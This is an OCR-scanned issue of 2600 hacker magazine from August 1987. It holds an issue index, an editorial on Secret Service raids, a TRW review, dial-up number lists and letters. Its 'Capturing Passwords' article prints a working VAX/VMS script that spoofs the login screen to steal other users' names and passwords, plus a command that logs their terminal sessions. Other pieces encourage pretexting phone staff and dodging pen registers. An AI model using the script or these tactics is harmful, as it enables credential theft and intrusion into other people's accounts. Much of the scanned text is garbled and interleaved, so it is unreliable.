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1984
AHOYI an Introduction to 2600. FBI GOES AFTER ADS HACKERS -FBI 'nvestlgator unWittingly reveals
tactics and recent activities
f-LASH LICA discusses GTE fdlds. AT&T credit cards, wireless phone trouble. THE TRUTH BEHIND
story, DATA vanous White House extensions, HACKING ON TELENET- -how to's ol Telenet use,
THOSE 9999 NUMBERS a toll free erro ;
E55 ORWELL'S PROPHECY-the first In a
series on the fun and dangers of ESS, FLASH directory assistance changes, computer alr·ban,
AT&T credit cards, etc . SOME THOUGHTS
C?N GARBAGE PICKING -first of a senes of trashing for valuable Information as related to
a diSCUSSion of crosstalk, DATA COUNTRY
CODES every last country code for overseas dialing, THE CONSTITUTION OF A HACKER - a
diSCUSSion of hacking ALTERNATE LONG
DISTANCE MCI-- history, systems, and serVices, FLASH 718, Connecticut Wiretaps, Sweden '
person numbers, etc, THE FIRST ATOMIC
BOMB - an Inside story on the event as related to our nation's phone system, DATA ARPANET
HOSTS --list of acceSSible hosts, WHOSE
STRIKE WAS THAT ANYVVAY]- a startling analySIS of summer 83 phone strike, THE TROUBLE
WITH TELEMAIL -diSCUSSion of GTE's
Irresponsibility In protecting their system, FLASH AT&T credit cards, portable prisons,
414's plead, etc , A TRUE SAGA OF
�ELECONFERENCING--what can happen on a teleconference, DATA MCI ACCESS NUMBERS-OIALUPS
FOR MCI MAIl. PHONE BOOK
COLLAGE #1---our artistiC heritage In phone book deSigns, THE SIMPLE PLEASURES OF A
STEP OFFICE diSCUSSion of Ins and Guts of
iJntlquated phone systems, IBM'S AUDIO DISTRIBUTION SYSTEM -using vOice messaging technology,
FLASH 414 sentencing, equal
access, bank record privacy, etc , THE WOES OF HAVING A SMALL-TIME RURAL PHONE COMPANY-a
true story, DATA AVAILABLE
NE'TWORKS ON THE DEFENSE DATA NETWORK a list Including base add,esses. EASYLINK
ACCESS NUMBERS. ARPANET HOPPING
AMERICA S NEWEST PASTIME how It works and tiPS for Its use, ELECTRONIC SWITCHING
ADVANCES -some of the poSSible services
and drawbacks, FLASH Directory assistance charges, 2600 writer Indicted, demIse of E-COM,
etc, THE DARK AND TRAGIC SIDE OF THE
GREAT BREAK-UP --a frank diSCUSSion, LETTERS sysop problem , 518· 789 an XY step, etc
� , DATA E-COM ACCESS NUMBERS-dial ups
.'
tor the (now-de unct) serVice, NY TELEPHONE "LETTER OF DOOM ' --a copy of a law enforcement
, monitoring notice, "LOOK OUT, HE'S GOT
ACOMPUTERI - a defense of the hacker ViewpOint MCI MAIL THE ADVENTURE CONTINUES
an analYSIS ofthewell-knovvn faulty E-mail
�ystem, FLASH computerIZed meter-maid, blue box arrests, anti-hack legislation, INTRODUCING
THE CLEAR BOXt --"post-pay ' payphone
deVice, LETIERS new SWitching eqUipment, 99 scanning, repulSive operator story, etc , SPECIAL
REPORT TRW- BIG BUSINESS IS
WATCHING YOU tlOW to use TRW, and an assessment of the potential of thiS system, BUT HOW DOES IT WORK]-a
Simple explanatIon of
t! le p!� one system, wlrmg, voltages, black boxes, rmg, etc , PRIVACY LOST -a reView of DaVid
, Burnham's book 'The Rise of the Computer
State , BE NICE TO YOUR TELCO-- how IndiViduals are abUSing their tekos. FLASH Big Brother
In Miami, NASA computer break-In,
computer export controls, 800 directOries, LETIERS �hone scramblers, page numbers, hacker's
book, etc , DATA CNA NUMBERS list of
CNA's, A HACKER'S GUIDE TO AN AREA CODE a Simple scheme to ilelp "map out' exchanges
In your area, HISTORY OF BRITISH
PHREAKING an account of the history and techniques, MORE ON TRASHING what to look for, where
to go, how to act. A FRIEND IN HIGH
PLACES -story of a friendly operator, FLASH NSA insecurity, hacker caught. private directOries, LETIERS
phone loop, WAfS, TAP, etc ,
�
�ATA A NON CO YRIGHTED DIRECTORY, NY TELEPHONE "BIG BROTHER' LETTERS -touch tone
Without permiSSion, etc, GETIING
CAUGHT HACKER S VIEW a story of the personal effects of hacking, VITAL INGREDIENTS --what
makes the phones work operators,
SWitching, FLASH NSA wants better phones, crime-computer Victim, wiretap loopholes, 911 attacker
caught. LETIERS BBS diSCUSSion,
Comsec Letter, Computer Crime Data, others, DATA NY TELEPHONE SECURITY NUMBERS, MCI
ANECDOTE-- ads, vulgaflsms, MCI
chairman profile, PHONE BOOK COLLAGE tt2, EXPLORING CAVES IN TRAVELNET - an Interesting
extender explained, FUN WITH
�
FO TRr-SS FONES - what a pay phone does, how people beat them, FLASH SS computer foul ups,
Alr10ne, Wiretaps, 818, pay phone attaCk,
�
LE. T rE S I:xx>k lISt, Silver boXing, another hacker s View, DATA IC S AND CARRIER IOENTIFICA nON
CODES --gUide to 950 exchange MCI
MAIL . TROUBLE LETIER" - the harassment begins, A TIME FOR REFLECTION the year In reView, MCI
mail horror stones, THE SCARIEST NUMBER IN THE WORLD true story, FLASH campaign computer,
MAIL AND EASYLINK -elect onlc�
Pentagon by phone, students Ix>g
computer, electronlCoJad, federal phone upgrade, SURVEY -reader survey responses, SOME, BUT NOT
ALL ELECTRONIC MAIL SYSTEMS-­
list and price comparisons plus vOice messaging companies, REACH OUT AND GOOSE SOMEONE-list
of many unique dial-It numbers

1985
THOSE HORRIBLE HACKERS STRIKE AGAIN analYSIS of Newsweek InCident, WlRE.TAPPING AND DIVESTITURE a lineman dtscusses
these tOpICS, GETIING IN THE BACK DOOR a gUide to some popular operating systems Including TOPS- 10, TOPS-20, and UNIX, 2600
INFORMA nON BUREAU our phone bill, our thanks, and other notices, FLASH IHS and telco data, GEISCO, KKK computer, LETIERS BBS
rights Ea.;;ylink. Canada loops, International phreak day, BITNET TOPOLOGY -a schematic of the BITnet, THE THEORY OF "BLUE
BOXING" history, future, and how they are used, TRASHING ALASKA STYLE--a real trashing adventure story, SURVEYING THE
COSMOS d beginners gUide to COSMOS, Bell's computer program, FLASH phreak roundups, real TRW crime, 26CX) BSS, 800 data,
LETTERS Bell problems, teko discount. marine calling, many Questions, 2600 INFORMATION BUREAU�acronym list of useful telephone
Jargon, NAZI BBS A CHALLENGE TO HACKERS -- the role of the hacker, ARE YOU A PHREAK]ll humourous review of phreaklng, HOW TO
GET INTO A C 0 a tour of a central ofilce, FLASH custom calling, Kenyan pay phones, hacker coke machine, IRS computer screw· up,
Lr-TTERS reading liSt, tracing and law enforcement, UNIX Info, NSA phone #, 2600 INFORMAnON BUREAU-Interesting phone numbers,
how to dial a telephone . New York Tel message, CNA LIST, NSACIPHER DISK, WHAT A WHITE BOX CAN DO-how to budd and the use of a
portdble touch tone generator, A PHONE PHREAK SCORES -another successful SOCial englneeflng story, HACKING PACKARD -·-useful
InformatIon about the HP2000, FLASH talking clock, computers for communists, robot kills man, war games, Silver pages, LEITERS Tom
lCllnpldls, secure telephones and cryptography, 26(X) INFORMATION BUREAU MILNET hosts by location, PEOPLE EXPRESS TO BE
HACKED TO PIECES a look at People s new anonymous reservation serVice, HOW IO RUN A SUCCESSFUL TELECONFERENCE - -complete
gUide to Alliance TeleconferenCing SerVice, FLASH hacker bust police hacker, Reagan doesn't dial kids, dlal-3-dlrectory, LEITERS
computer networks, silver boxes, 950, remob, tracing, 2600 INFORMATION BUREAU Alliance Teleconferenctng matenal, INTERESTING
PHONE' NUMBERS. UNBELIEVABLE ADVERTISEMENT. GUIDE TO THE ISRAELI PHONE SYSTEM. SHERWOOD FOREST SHUT DOWN BY
SECRET SERVICE, SOME WORDS ON HACKE:R MORALITY, OUT OF THE:: INNER CIRCLE REVIEWED -an e)(-hacker's new 0001<., FLASH who
Invented the phone, porno phone, Wiretap award, AT& T computer steals, LETTERS Information charges, AT& T cutoff, marine calling, 2600
INFORMATION BUREAU -800 prefixes by state. �YSTEMATICALLY SPEAKING goodbye to meter readers, Thai p!lone books, tracking
deVices, TINA "Call Me" Card, FROM SHERWOOD FOREST INTRO TO HACKING what to do and not to do, INTERESTING THINGS TO 00
ON A DEC-20 -how to use variOus commands and some ttllngs to look for, BANKING FROM YOUR TE:RMINAL A LOOK AT PRONTO -
Flectronlc banking, how It works With a focus on Chemical s system, FLASH $2 bIllion error, In crackdovvn, monitoring, 2600
INFORMATlON BUREAU- Milnet TAC dialups by location, SYSTEMA nCAlL Y SPEAKING Mel poes optical. 1()()01o ESS, GTE bigger than
A T& T, SEIZED' 2600 BULLETIN BOARD IS IMPUCA rED IN RAID ON JERSEY HACKERS- - an accurate account of the Private Sector BBS,
COMMENTARY THE THREAT TO US ALL-· what BBS seizures mean, FLASH 2600 a hacking Victim, Middlesex Courthouse, MOVING
SATELLlTE:S WHAT WAS REALLY GOING ON] - pOint by point correction of New Jersey prosecutors' fallaCIOUS charges, WHY
COMPUTERS GET SNATCHED- ·-why law enforcement seizes equipment, SOME IMPORTANT QUESTIONS TO ASK -provocatlvequestlons
about these events, HOW CAN SYSOPS PROTECT THEMSELVES�, A GUIDE TO VMS- how to use DEC s VAX operating system, THE
INFINITY TRANSMITTER-an old bug explained, REACHING OUT ON YOUR OWN--blue boXing verification, PURSUIT FOR PEOPLE -GTE
Telenefs computer to computer link-up serVice, FLASH phone-In registration, 8CX) word numbers, war game addiCt. hacker extortiOnist,
2600 INFORMATION BUREAU -Telenet directory of Interesting addresses, SYSTEMATICALLY SPEAKING Dick Tracy toys, computer
directory aSSistance, Bell propaganda films, Europe �tandardlzlng telcoms, MANY FAMILIAR TONES, AND THEY CALL US CROOKS] -story
of a phone phreak who can't sell tl lS expertise, AN INTERESTING DIVERSION---call dlverters and how they are abused, MORE INFO ON
VMS second mstallment of an In-depth gUide to VMS, FLASH---computer elections, big phone bill, Navy phreaks, phone booth captures
man, LETTERS BBS suygestlon, college� are a goldllllne, recommended reading, 2600 INFORMATION BUREAU-Blue Box plans, THE NEW
AT& T HOSTAGE PHONE -unbelievable ad, SYSTEMATICALLY SPEAKING hackers scare bUSinesses, DuPont bypasses telco, computer
campaign mfo, phone computws, divestiture woes, RSTS A TRICK OR TWO --some aspects of thiS operating system, THE SECRET
REVEALED -the problem with GTE s GTDq5 SWitch, HISTORY Of. E::SS, EQUAL ACCESS MAY NOT BE "EQUAL" TO MODEMS -some
problems that may arise, FLASH columnist attacks AT& T, feds dial-It too much, little town phones, Springsteen mania, LETTERS some
adVice, Cles and free calls, Bntlsh phreak, blue boXing gone], CHASE BANK IS CRACKED, 2600 INFORMA nON BUREAU- -many interesting
test nUlllbers, SYSTEMATICALLY SPEAKING aVOid phones In storms, rural unequal access, police cellular phones, toll-free from where],
AT& T to read e· mad, OUR WISHES FOR '86 AND BEYOND --some of what we d like to see In the future, FUN WITH COSMOS -how to
Interpret and USE' parts of the phone company computers, FLASH French phones, racist bdnter, Cltyphone, SURVEY - reader survey
responses, 2600 INFORMATION BUREAU BSS numbers, SYSTEMATICALLY SPEAKING AT&T e-mail, GenTian phones, super pay phone

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 The Summer Games of87
We've seen this so many times before.
Nationwide raids of computer
equipment at teenagers' houses.
Newspaper headlines about electronic
gangsters. Long periods of silence from
the investigators and the investigated.
First the facts: at least six homes
across the country were raided by the
Secret Service in mid-July. They were in
Rockville, Maryland; Burlingame,
California; Kentfield, California; two in
Brooklyn, New York; and one in
Bronxville, New York. (At the same
time, a number of houses in Pittsburgh
were being searched, supposedly for
simple credit card fraud and reportedly
unrelated to the action that we are
concerned with.)
What were these people allegedly up
to? Everyone seems to want a piece of
this one. Los Alamos NatiolUll
Laboratories, Stanford University,
TR W, US Sprint, AT&T, MCI, and
local phone companies are the ones
we 've heardfrom so far.
UnfortulUltely, when something like
this occurs and very little additiolUll
information is given out, imaginations
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TRW Credentials' Lack Credibility
by Rex Valve
One of the powers commonly attributed to the without needing to pay the fee.
modem American hacker is absolute control over
the credit ratings of those who oppose them. Like
all myths, this one too has a factual basis, which
is probably the well-publicized invasions of the
TRW credit service, documented in the 1984
editions of 2600. Hacker visitations to TRW
received widespread media coverage when
Newsweek columnist Richard Sandza found his
credit card numbers and similar private
information posted on a hackers' bulletin board.
Subsequent investigation revealed that due to
TRW's shoddy security practices, hackers had
the ability to make inquiries into TRW's vast
database of American consumers' credit
histories.
Well, this is America, and there's nothing
Now TRW is offering to those same American
wrong with companies trying to sell you
consumers the ability to look at their own credit
something that you should already have. To
reports, and to see who makes inquiries. Their
new service, called TRW Credentials, lets a make it look I ike you're buying more than the Fair

credit user look at his or her credit report, receive Credit Reporting Act, TRW adds on a "Financial
a notification whenever anyone else gets a copy Profile" form, which supposedly lets you add
information to your credit file that may improve
of it (such as a bank where an application for a
. your chances at getting credit. But there's
credit card or loan is pending) and the ability to
nothing you can put on this form that can't be put
add information that may improve one's credit
on an ordinary loan application, and the
rating. Anyone with or without a credit history
subscribing credit grantors (such as banks or
can subscribe, as long as they're willing to fork
department stores that also subscribe to TRW
over $35 a year.
However, a closer look at their service reveals Credentials) that might look at this information
that they are only selling a more convenient (and receive it on a separate form. It turns out that all
TRW is saving you is the trouble of filling out a
expensive) version of what they must already
credit application all the way. On top of this they
provide to you under the law. The Fair Credit
throw in insurance against unauthorized use of
Reporting Act requires that companies who
your cards (which the law already protects you
compile credit histories make their information
available to the individuals in question, if they
against, beyond the first $50), and the ability to
send your credit report to credit grantors
requ�st it. For an $8 fee (the minimal charge
elsewhere in your state, should you want to shop
permitted under the act), they will send you your
around for a loan (but only if you live in California
credit file. The file will include a list of all
or New York, and only with credit grantors who
institutions who have received copies of it during
already subscribe to TRW Credentials). All in all,
the past year. If you find something in your file
a dubious value.
that is incorrect, you can protest to TRW, who
will then investigate by asking the institution
who provided the contested datum to verify its
accuracy This applies to any credit history
service, not just TRW. Another feature of the Act
is that if you are denied credit, such as being
refused for a loan or credit card, you can (within
10 days) request a copy of your credit file

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 The Summer Games of 1987
tend to roam wild. Given the overall
technological illiteracy of the media and
law enforcement coupled with the
almost hysterical paranoia of the phone
phreaks and computer hackers, it soon
becomes abundantly clear that nobody
knows what the hell is going on.
That 's what 's most disturbing here.
ft 's one thing to break into people's
homes and go on a confiscating binge if
you 've got something to say when others
ask why. To do otherwise is not too far
from arresting someone and holding
them without naming a specific crime.
Having most of your possessions taken
away from you is unsettling enough
without having to wait to find out why.
We also have many questions
concerning the methods used. A
teenager was almost shot by the Secret
Service when he reachedfor a shirt after
having been woken up in his room.
Naturally, they assumed he was reaching
for a gun-that 's what hardened
criminals are supposed to do, after all. A
member of A T& T security found this
out-from the Secret Service themselves.
Apparently they thought it wasfunny.
The Secret Service knocked down at
least two front doors with battering
rams in their haste to get into these
homes. In each case that we heard oj,
there was substantial damage, much
more than what was necessary to get in.
That according to neighbors and
.
eyewitnesses.
And in at least one other instance, the
Secret Service disguised themselves as
United Parcel Service employees. They
had a truck, packages, even the standard
UPS clipboard.
We 've had other reports of agents who
refused to identify themselves, didn't
produce search warrants, or acted in a
rude fashion.
What in the world is going on here?
Are these atrocities to be tolerated? Is
the Secret Service attempting to live up
to their initials or are they just incredibly
(continuedfrompage3
unaware of what they 're really doing?
These were all teenagers who were
involved in the raids. And while they
may have been quite intelligent, they
most certainly were not about to shoot
at police or pose any kind of a threat.
There was no need to "trick " them into
opening the door. That kind of gimmick
is appropriate for mobsters perhaps, but
not for adolescents.
We object to the methods used by the
Secret Service. In fact, we question the
very use of the Secret Service
themselves. Why was a group such as
this called in to deal with a matter that
virtually any law enforcement entity
could have handled?
Regardless of what comes out of this
case (if one is ever even presented), the
events that transpired are quite
inexcusable. Unfortunately, most of
those involved have been scared into
silence. Scared by the strongarm tactics
of the law, scared by the sensationalist
media, scared by not knowing what the
hell is going on. This is a very scary
situation.
If such an occurrence should happen
to you or anyone you know, this is what
we suggest: Keep an eye on everything
that is going on. Remember what is
taken, what is handled, what is said.
Write it all down when they leave. Do
not, under any circumstance, give them
an excuse to play rough. Law
enforcement types can take lives and
they can often get away with it. You
don 't have to answer any questions
without a lawyer present. Get the names
of everyone who comes into your
house-you are most certainly entitled
to know this. And if you do decide to
talk to the media, avoid the
sensationalist types like The New York
Post. Go for the newspapers that put a
little time into their stories and have
been known to uncover things in the
past. Make sure they understand what
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1600 August, 1987 Page 5
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4 04 3 9 6 06 31 617 2�B 6623 MIT 800 323 0664
404 424 76£3 617 259 7 1 1 5 lilT aoo 323 0679
404 855 3460 SEARS 617 258 7542 m 800 325 4112 EASYLINK
404 8 7 3 8555 CONFERENCE BRIDGE 617 258 8260 "IT 800 325 6397
404 873 8682 AT.T 617 258 B313 "IT UNIVERSITY 9 00 325 7222 Hel
404 8S5 3460 SEARS 617 339 5 071 USDS BOSTON 80 0 327 6245
405 789 2323 BANK OF BETHANY 617 459 0159 LOWELL 800 327 7725
408 280 190 I TRW 617 471 '3103 NORTHEAST UNIV
BOO 327 949B ITT TONE
m 846 6209 617 732 1251 HARVARD UNIVERSITY
800 327 %38 EASYNET
412 527 B291 FBI 617 732 IB02 HARVARD UN[VERSITY
800 32B 0404
412 m 7601 SLIPPERY RO CK UN[V 617 B61 5591 HANSCDII BASE
800 336 01H TYII NET
414 271 7827 AGRIDA 619 225 1641 NATIONAL DEFENSE
800 336 0 437 TELENET
414 332 36G7 619 225 6946 SAN DIEGO
800 368 2711
414 445 4050 DEC VAX m 2 26 7B84 SAN DIEGO
BOO 368 3313 THE SOURCE
414 476 8010 DEC 619 293 4510 UCSD
800 368 9407
415 3 2 7 5220 ARPANET 619 296 5010 COLDWELL BANKER
BOO 368 940B
415 361 2500 I'IENLO PARK 619 326 2174
BOO 36B 9409
415 442 21�1 AnT 619 m 6792 UCSD
BOO 36B 9410
415 486 4959 DEVELCON 619 723 8996 NAZI BBS
800 36B 9426
415 m 4294 701 477 6442 ROLLA COLLEGE BOO 392 5149
415 626 4458 NAlI NEI/SLI NE 702 329 3559 BOO 421 2626
415 786 0120 702 737 B770 BOO 424 9494 TELENET
415 786 0662 703 274 5300 NATIONAL DEFENSE 800 426 2500
415 786 1533 703 328 80B6 V[RGINIA UNIVERSITY BOO 426 5101
415 829 6088 703 7BI 45 2 0 IIERADCOII 800 522 5m LABLINK
415 857 BI93 HP 3000 703 790 1740 FAA 9 00 526 3714 RCA GEORGIA
415 863 9059 704 253 0106 800 52 7 1800 BANK BY PHONE
419 325 2191 704 253 6370 BOO 633 009 0 IIESSAGE R ELAY 8'
5Q2 45 4 5824 GENERAL ELECTRIC 713 4B3 2700 NASUA 800 633 1 6 38 IIDBILE IIARINE RADIO �
5 03 645 9654 713 792 7200 EDUCATION
713 795 1200 SHELL VULCAN
BOO 637 0958 �.
503 9 63 84 54
713 8SB 6499 PBX
BOO 642 1 982 EDUCATION BDS a
504 522 5633 BANK OF LOU! S I AHA BOO S21 5 662 0
713 941 7 619 NAZI 8BS
505 623 9 280
505 843 916 6 714 595 6467
800 862 2345 PBX �
714 8S7 5 55 2 NAZI NEWSlINE
BOO 882 2255 PBX �
509 535 1363
714 962 3365 HATS
BOO 932 6245 �
512 4H SO II AUSTI N COI'IPUTERS B04 B65 4051 NASA C
5 15 2 9 4 9440 [SO 715 2 32 368B RSTS
B05 m 0940 TRW

2600 August, 19Si Page 7

 the telecom informer
A
II is not well in the home
shopping i ndustry . Yes , those
rid iculous shop-at-home
programs that have been popping up o n
nearly every television station in the
country ( i nclud i ng some P BS stations!)
are havi ng maj o r prob lems with their
phones. Ta ke H ome Shopping
Network -the first and biggest of them
all. They say more than half of their
incomi n g ca lls went unanswered last
year! So they replaced their old Ce ntrex
equipment with a Rockwell
International Corporation Galaxy ACD
switching system. AT&T provides the
switching equipment, so the local central
office is comp letely bypassed. Will it
screw up? Stay tuned....The Federal
Communications Commission has
decided that it's not necessary for
cellular phones to be equipped with
labels wa rn ing that conversations on
them can be easily intercepted by anyone
with the proper radio. After all, it's now
illegal to listen! Brilliant, just
brilliant. ... Perception Technology
Corporation is selling equipment to
dozens of college campuses that allow
students to register for courses using
touch tone phones. The two latest are
the University of Alaska and Contra
Costa Community College of Martinez,
California. The equipment is called
VO-COM, a descrambling box that links
phone lines to the university mainframe
computer using a voice response system.
Other campuses using similar systems
are Lane Community College of Eugene,
Oregon; Brigham Young University of
Provo, Utah; Louisiana State University
at Baton Rouge; the University of
Alberta; and the University of Southern
California at Los Angeles....MCl
hackers, beware! MCI has recently
bought the Real Time Toll Fraud
Detection System from Applied
Computing Devices Inc. of Terre Haute,
Indiana. The system uses on-site
selection and compression of call data
Page 8 August, 1987 2600
BY GOLDSTEIN
for rapid detection of toll fraud . The
system uses a network of ACD's
U niversal Billing Converters and
I nterface Adaptor U nits to monitor
remote sites using the UBX Network
Call Datal Billing Data Management
System . ... Pacific Bell is in trouble.
Someone called the Suicide Prevention
Center in Burlingame, California
threatening suicide. A cente r
represe ntative asked Pac Bell t o trace the
numbe r a nd Pac BeIl cheerfully gave the
wrong address. A woma n who happe ned
to live at the wrong address said rifle­
carrying police officers a nd a large black
attack dog came charging through her
apartment. (Suicide is illegal, you
know.) She's suing Pac Bel l for alleged
i nvasion of privacy as we ll as p hysical
and emotional damages. In all the fun,
no one seems to know what happened to
the original caller.... Did you know that
the most p restigious exchanges in the
H amptons are 324 (East H ampton) and
283 (Southampton). The nouveau-riche
must settle for 329 (East Hampton) and
287 (Southampton). New York
Telephone reps say they've been offered
bribes for numbers with the old
exchanges. Some status-conscious
people have been using answering
services inside the old exchanges to
avoid being embarrassed. More practical
types are furious over the fact that call­
waiting and equal access aren't available
(every one of the exchanges is
crossbar)....Cockroaches, fire ants, and
wasps are the most common insects
found in phone equipment and they can
cause extensive damage, according to
South Central Bell officials. "Spiders
spinning webs across terminals cause
moisture to collect on a terminal,
leading to shorting out or glitches in
your telephone connection," an official
said. "Termites can actually bore
through cable lines." We've decided not
to print any phone bugging jokes here,
sorry .... Of the $64.2 million collected by
(cont inued on page 2 J)
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criminal acts by agents and informants,
violations of the Privacy Act, and surveillance
and searches of political activists.
'The best measurement," according to the
newsletter. "of the FBI's activities was done on
March 8th, 1971, when all the records were
stolen from the FBI's office in Media, PA. They
show that the FBI's active cases at that time
were broken down as follows: 40% political
surveillance and other investigation of political
activity (2 right wing cases, 10 immigrants
cases, and over 200 left wing cases); 25%
murder, rape, and interstate theft; 7% draft
resistance; 7% leaving military without
permission; and 1% organized crime (mostly
gambling)."
We don't know what happened to the other
20% and we can't really vouch for the accuracy of
these figures. But we do know that things are
going on in the FBI that have quite a lot of people
up in arms, and computer users are no exception.
The newsletter gives tips on how to find out what
the FBI is doing in your area-everything from
listening to their radio frequencies to staking out
their hangouts and doing some surveillance of
your own.
The FBI and Your BBS provides advice on
protecting your bulletin board system from FBI
snooping. By making a system private, it
becomes a crime for an FBI agent (or anyone
else) to use the system without authorization.
This is true due to our old friend, The Electronic
Communications Privacy Act. Using the ECPA in
this way is indeed ironic, but as the newsletter
says, we must "do our best to make sure the
government follows its own rules."
We like the spirit of this newsletter and we
think anyone interested in either the FBI or
computer bulletin boards will find much
worthwhile reading here. For the future, we hope
to see more references to other kinds of law
enforcement entities, such as our friends, the
Secret Service. Limiting the subject matter to
only one organization will be somewhat
restrictive and might lead some to believe that
the publishers have a vendetta against the FBI,
even though it is unquestionably the most visible
of these agencies. We also hope to see the ideas
and values presented here show up on bulletin
boards across the country. Mass awareness is
really the only way to get these facts out.
To subscribe to this newsletter, send $10 to
The FBI Project, Box 8275, Ann Arbor, MI
48107. Send $5 for a copy of The FBI and Your
88S.
2600 August, 1987 Page 9
 CAPTURING PASSWORDS
Many times if you are already a user on a VAX
VMS system, it would be handy to have the
account names and passwords of other users of USE THESE IF YOU ARE CONNECTED
the system. In order to get additional names and BY A LAN TO YOUR VAX
passwords, I wrote the DCl (DEC Control
language) command file below which will
$ SET NOCONTROL_Y
simulate the normal login screen on a VT100 or $ INQUIRE/NOPUNCTUATION RETURN "2J"
com�atible terminal, and will write the user's $ TYPE SYS$INPUT
You may now enter Net/One c ommands
accoiJnt name and password to a file in your $ INQUIRE/NOPUNCTUATION GREATER ">"
accOUnt, and will then abort as if a line glitch had $ TYPE SYS$INPUT
connecting ••• ll) l6l69b6 success
occurred. $ INQUIRE/NO PUNCTUATION NULL -,-_......
The user who enters his name and password $ WRITE SYS$OUTPUT "2J"
$ WRITE SYS$OUTPUT "lO;OH"
should not be suspicious, since the login appears
$ TYPE SYS$INPUT
to abort from natural causes. In the event that
he/she is, however, the CTRl B TAB command
sequence defined will force an exit from the
network or host system before control is passed
back to the user. Note that the CTRl B TAB
sequence is system-specific and should be THIS IS WHERE YOUR PARTICULAR
whatever characters are used on your system to LOGIN MESSAGE GOES
disconnect the terminal or process from the host
computer.
The files USER.TST and PASS.TST contain
t h e u s e r's l o g i n n a m e a n d p a s s w o r d ,
respectively.
Another handy trick is shown below. This
command creates a file in your account which $ INQUIRE Username "Username"

will subsequently capture all the activity $ SET TERM/NOECHO

$ INQUIRE Password "Password"
occurring at your terminal. Any keystrokes, any $ OPEN/WRITE OUTFILE PASS.TST
commands, all the actions done at the keyboard $ WRITE OUTFILE Password
$ CLOSE OUTFILE
will be logged in the file as well as going on at the $ OPEN/WRITE OUTER USER.TST
terminal as normal. $ WRITE OUTER USERNAME
$ CLOSE OUTER
SET HOST /lOG=filename 0
$ TYPE SYS$INPUT
Be sure to include a legal VM S filename and be User authorization failul;e

sure to include the zero following the filename. $ ! WAIT 00:00:05

� CTRL_BIO,71 = \00002
Once the user or whoever logs off, system $ TABIO,71 = \00011
control returns to the account from which the $ CTRL_B_TAB = CTRL_B + TAB
$ WRITE SYS$OUTPUT CTRL_B_TAB
above command was given. At that point, the $ EXIT
filename specified now has the contents of the
session. It may be necessary, if you want to edit
the file with EDT or a standard text file editor, to
�n the following command:
MCR REF
This will convert non-ASCII control sequences PASS.TST WILL CONTAIN
(like terminal control characters) to spelled-out THE PASSWORD OF USER
ASCII codes (like ESC for the Escape key). The
file can then be examined at will. USER. TST WILL CONTAIN
Interested in more VAX goodies? Have THE NAME OF USER
terminal will travel.

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 numbers
(continuedfrom page 7)
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B09 477 6 835 CAMP H.M. S�ITH
BOB 477 6B39 CMP H.M. S"ITH
BOB 477 6843 CMP H.M. SI!ITH
90B 477 6946 CA"P H. M. SmH
B08 4BB 6227 CAMP H. M. SmH
815 729 0686 JOLIET COLLEGE
B16 471 1999 METRO TONE
816 B42 0090 PBX
816 B42 0091 PBX
BI6 842 II 70 LDX TONE
817 332 B4g1 FT WORTH SCHOOL
B17 625 6401 6!S
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BI8 9gB 7956 IIAZI NEWSLINE
304 B82 3 242 ELGIN BASE
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904 BB2 B201 ELGIN BASE
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912 926 22Q4 ROBINS AIR rQRCE
912 926 2 726 ROBINS AIR rORCE
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912 926 3232 ROBINS AIR rORCE
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914 257 42Bl SUNY
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You Too Can Write
for Z6OO!
Just send your articles to:
2600 Editorial Dept.
PO Box 99
Middle Island, NY 11953
Call 516-751-2600
for specific info
at&t sub maps
by Bernie S.
Finally, something free from AT&T! I've just
received two copies of the "Submarine Cable
Systems Chart of the World," a beautiful 38" x
52" s e v e n-c o l o r m a p p r o d u c e d by t h e
Intemational Cable Engineering Department of
AT&T's Long Lines Division.
I first became aware of this map last summer
when a friend showed me a key ring an AT&T
engineer had given him. It said, "Free AT&T
Submarine Cable Maps" and listed a phone
number. When I called it, the woman who
answered knew nothing about maps but
suggested another AT&T number to try. After
five more calls like this, I finally reached AT&T's
Intemational Engineering Division. The man
there denied that such maps were available, but
after a little "social engineering" (I told him I was
a university professor of telecom engineering and
needed the map as a teaching aid), he conceded
that a new version was being readied and that
he'd see to it that I got a copy. Four months later
the maps arrived in a big tube-it was worth the
wait.
The map, a mercator projection dated
December 1986, shows in surprising detail
present and proposed submarine cables color­
coded as AT&T's, others, and lightguides. To the
best of my knowledge, no major transoceanic
optical fibers have been laid yet, but this map
shows them anyway. A disclaimer states,
"NOTE: Chart scale prohibits the display of all
submarine cable systems. Precise political and
geographic distinctions are not within the scope
of this representation." Still, the map shows
quite a lot and is a respectable world map in its
own right. In addition to submarine cable
systems, the map details and labels all
significant land masses, ice shelves, ocean
depths and trenches, mountain ranges, political
boundaries, and latitude and longitude.
The Submarine Cable Systems Chart of the
World will look great on any hacker's or
phreaker's wall. It obviously cost AT&T a lot of
money to produce, so they'll probably be
reluctant to give them away to just anybody. Be
sure you have a plausible story cooked up as to
why you deserve a map before demanding one.
Good luck!
2600 August, 1987 Page 11
 here are
CNAICPA Questions course, you're being tapped A face to
Dear 2600: face conversation in the middle of a
I don 't u ndersta nd you r l isti ng of huge empty parking lot might be the
CNA ( Cw;tomer's Nam e a nd Address) answer. But then there are satellites. . . .
n umbers. For i nsta nce, my area code is
305 i n �I o r i d a . A c c o r d i n g t o yo u r ITT Switching
l i sti ng, I have to d i a l a rea code 912 Dear 2600:
(7840440 ) to get a customer's name The letter from Bern ie S. i n the May
a n d a d d re s s . T h i s s e e m s s t r a n g e
issue para l le l s my exper i ence with an
bec a u se .. rea code 912 i s located i n the In 2100 switch I was responsible for
State of Georg ia a nd I have to pay a to l l i n my oid offi ce. That off ice has been
cha rg e i f I use t h i s a rea code. closed down for a year, and I d id n 't copy
I h a ve R a d i o S h a c k ' s Du o p h o n e
t h e d oc u m e ntati o n , so I ca n o n l y
CPA-1ooo. If a l l "pen reg i sters" work descri be it i n g e nera l terms-but here
the same as t h i s one, they can be easi ly goes.
vo ided. Tile pen reg ister wi l l not record We were a software development
the n u mber of an outgo i ng ca l l if same team located i n Bergen Cou nty, NJ. I n
i s mad e on a cord less telephone. The add ition t o the lIs u a l comp lement of
c a l l is li sted as an i n c o m i n g c a l l loca l service (NJ Bel l ) l i nes, our office
w ithout tile telepho ne n u mber. had 2 sets of l i nes for i nward-WATS
I f a n yone has a suspicion that spies service (New Jersey a nd New York),
a r e r e g i st e r i n g h i s o u t g o i n g c a l l
and 2 sets of l i nes for outward-WATS
n u m bers they have only to use the ( for New Jersey and the rest of the
cordless phone s, without worry i ng that cou ntry-Band 5). What the In switch
sa me a re be i ng record ed. p rovid ed was c<:ll l ed D I S A, "Di r e c t
